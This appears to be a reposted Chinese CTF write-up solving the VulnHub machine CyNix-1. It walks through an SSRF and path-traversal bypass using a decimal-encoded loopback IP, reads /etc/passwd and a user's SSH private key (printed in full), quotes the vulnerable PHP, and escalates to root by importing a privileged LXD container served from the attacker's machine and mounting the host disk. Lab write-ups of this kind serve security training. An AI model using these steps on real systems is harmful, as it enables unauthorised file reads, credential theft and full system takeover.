title: Vulnhub-CyNix-1
categories:
- VulnHub
tags:
- Linux
- nmap
- PHP
- gobuster
- burpsuite
- JavaScript
- Python
- 目录穿越
- SSH
- 任意文件读取
- 代码审计
- LXD
- LXC
cover: /images/Vulnhub.png
abbrlink: e6213721
date: 2023-02-21 12:15:09
Vulnhub CyNix-1<!--more-->
0x01 靶机介绍
-
Name: CyNix: 1
-
Date release: 18 Nov 2019
-
Author: Sumit Verma
-
Series: CyNix
-
Level: Intermediate-Hard
-
flag: user.txt root.txt
-
Description: It's a Boot2Root machine.
靶机下载地址:
https://www.vulnhub.com/entry/cynix-1,394/
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.105 -oA namp_CyNix
扫描结果显示目标开放了6688和80端口
80端口
访问http://192.168.0.105
为 Apache 默认界面
目录扫描
使用 gobuster 进行目录扫描,成功找到lavalamp
目录
gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问http://192.168.0.105/lavalamp/
为博客界面
针对网站再次进行目录扫描,成功发现contactform
目录
gobuster dir -u http://192.168.0.104/lavalamp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问为留言板并输入信息
使用 burpsuite 抓取数据包
放包后出现红框,在其中找到路径为lavalamp/canyoubypassme.php
0x03 侦查[ford]
信息收集
访问http://192.168.0.104/lavalamp/canyoubypassme.php
是一个黑客帝国的图片,同时标题为can you bypass me
,说明可用于绕过
查看源码找到其中的 JavaScript 代码,发现样式默认其实是不显示的
<script type="text/javascript">
<!--
function lhook(id) {
var e = document.getElementById(id);
if(e.style.display == 'block')
e.style.display = 'none';
else
e.style.display = 'block';
}
//-->
</script>
同时存在 POST 请求提交框,点击submit
后会出现一个黑框
任意文件读取
测试是否存在SSRF漏洞,在file
参数中输入localhost
页面未发生变化,但是当输入http://localhost
或http://127.0.0.1
访问被拦截并出现提示
测试是否存在目录穿越漏洞,当输入内容../
时访问被拦截并出现提示
表单中需要输入数字,而IP地址其实可以转化为十进制数字,比如127.0.0.1
的十进制就为2130706433
,借助脚本或在线网站可完成转换
在线网站:
http://www.ab126.com/system/2859.html
def ip2decimalism(ip):
dec_value = 0
v_list = ip.split('.')
v_list.reverse()
t = 1
for v in v_list:
dec_value += int(v) * t
t = t * (2 ** 8)
return dec_value
def decimalism2ip(dec_value):
ip = ''
t = 2 ** 8
for _ in range(4):
v = dec_value % t
ip = '.' + str(v) + ip
dec_value = dec_value // t
ip = ip[1:]
return ip
if __name__ == '__main__':
:
ip = input()
dec_value = ip2decimalism(ip)
print(dec_value)
ip = decimalism2ip(dec_value)
print(ip)
配合IP转换后数字读取/etc/passwd
,结果显示只有用户 ford 和 root 才能登录
同时在/../
之前加任何字符都能进行绕过
SSH私钥登录
首先读取 ford 用户下.ssh
目录中的 SSH 私钥
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal
zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2
LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG
zo41f/YWjC5DurNjIchz4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz
Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6
gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc
gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR
iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL
DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr
69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl
rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4
VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9
TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw
qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM
gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h
dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7
myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b
C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD
7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8
dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv
kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n
KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y
QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1
+QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP
/kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=
-----END RSA PRIVATE KEY-----
保存至本地并设置权限为600
chmod 600 id_rsa
ssh -p 6688 -i id_rsa ford@192.168.0.104
借助 SSH 私钥成功登录用户
在用户家目录成功拿到第一个flag
cat user.txt
0x04 权限提升[root]
代码审计
通过 find 命令找到canyoubypassme.php
并查看其中源码
find / -name canyoubypassme.php -print 2>&1| grep -v "Permission denied"
cat /var/www/html/lavalamp/canyoubypassme.php
include ('head.php');
echo '<table width="40%" cellspacing="0" cellpadding="0" margin="20%" class="tb1" style="margin:2% 30%;opacity: 0.0;">
<tr>
<td align=center style="padding: 3%;">
<form method=post action="' . $_SERVER['SCRIPT_NAME'] . '">Specify a number:
<input type=text name=file placeholder=integer><br><br><input type=submit name=read value="Download the number">
</form>
</td>
</tr>
</table>
<div id="right"></div><div align=center>';
if (isset($_POST['read'])) {
$file = strtolower($_POST['file']);
if ((strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*://[^:/]+)/', $file) == true) {
echo '<table width="30%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">
<tr><td align=center style="padding: 10px;" >
I'm watching you. Trying to access Localhost?
</td></tr>
</table>
<table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';
} elseif (strstr($file, 'localhost') == false && preg_match('/(^https*://[^:/]+)/', $file) == true) {
$host = parse_url($file, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP)) {
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) == false) {
echo '<table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">
<tr><td align=center style="padding: 10px;" >
Hmmm, trying an IP? Haha, Try harder ;)
</td></tr></table>
<table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';
} else {
echo '<textarea rows=20 cols=60>' . file_get_contents($file) . "</textarea>";
}
} else {
echo '<textarea rows=20 cols=60>' . file_get_contents($file) . "</textarea>";
}
} elseif (substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
echo '<table width="30%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">
<tr><td align=center style="padding: 10px;" >
You are not allowed to do that.
</td></tr></table>
<table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';
} else {
echo '<textarea rows=20 cols=60>' . file_get_contents("/tmp/" . $file) . "</textarea>";
}
}
id
groups
查看镜像列表
lxc image list
导入容器的两种方式:
-
直接创建特权容器自动下载 ubuntu18.04 并命名为mac,缺点是下载速度很慢
lxc init ubuntu:18.04 mac -c security.privileged=true
下载 Alpine 导入从 github 上下载 Alpine 再导入
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
搭建完成出现一个 gzip 压缩包,同时开启 http 服务
python -m SimpleHTTPServer 80
在靶机中请求并利用 lxc 导入压缩文件
cd /tmp
wget http://192.168.0.106/alpine-v3.14-x86_64-20210823_1412.tar.gz
lxc image import ./alpine-v3.14-x86_64-20210823_1412.tar.gz --alias mac1
创建容器mac1
并在/mnt/root
下挂载整个磁盘
lxc init mac1 mac1 -c security.privileged=true
lxc config device add mac1 mac1 disk source=/ path=/mnt/root recursive=true
启动容器并交换命令,成功拿到管理员权限
lxc start mac1
lxc exec mac1 /bin/sh
成功拿到第二个flag
cat /mnt/root/root/root.txt
0x05 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub-CYNIX-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论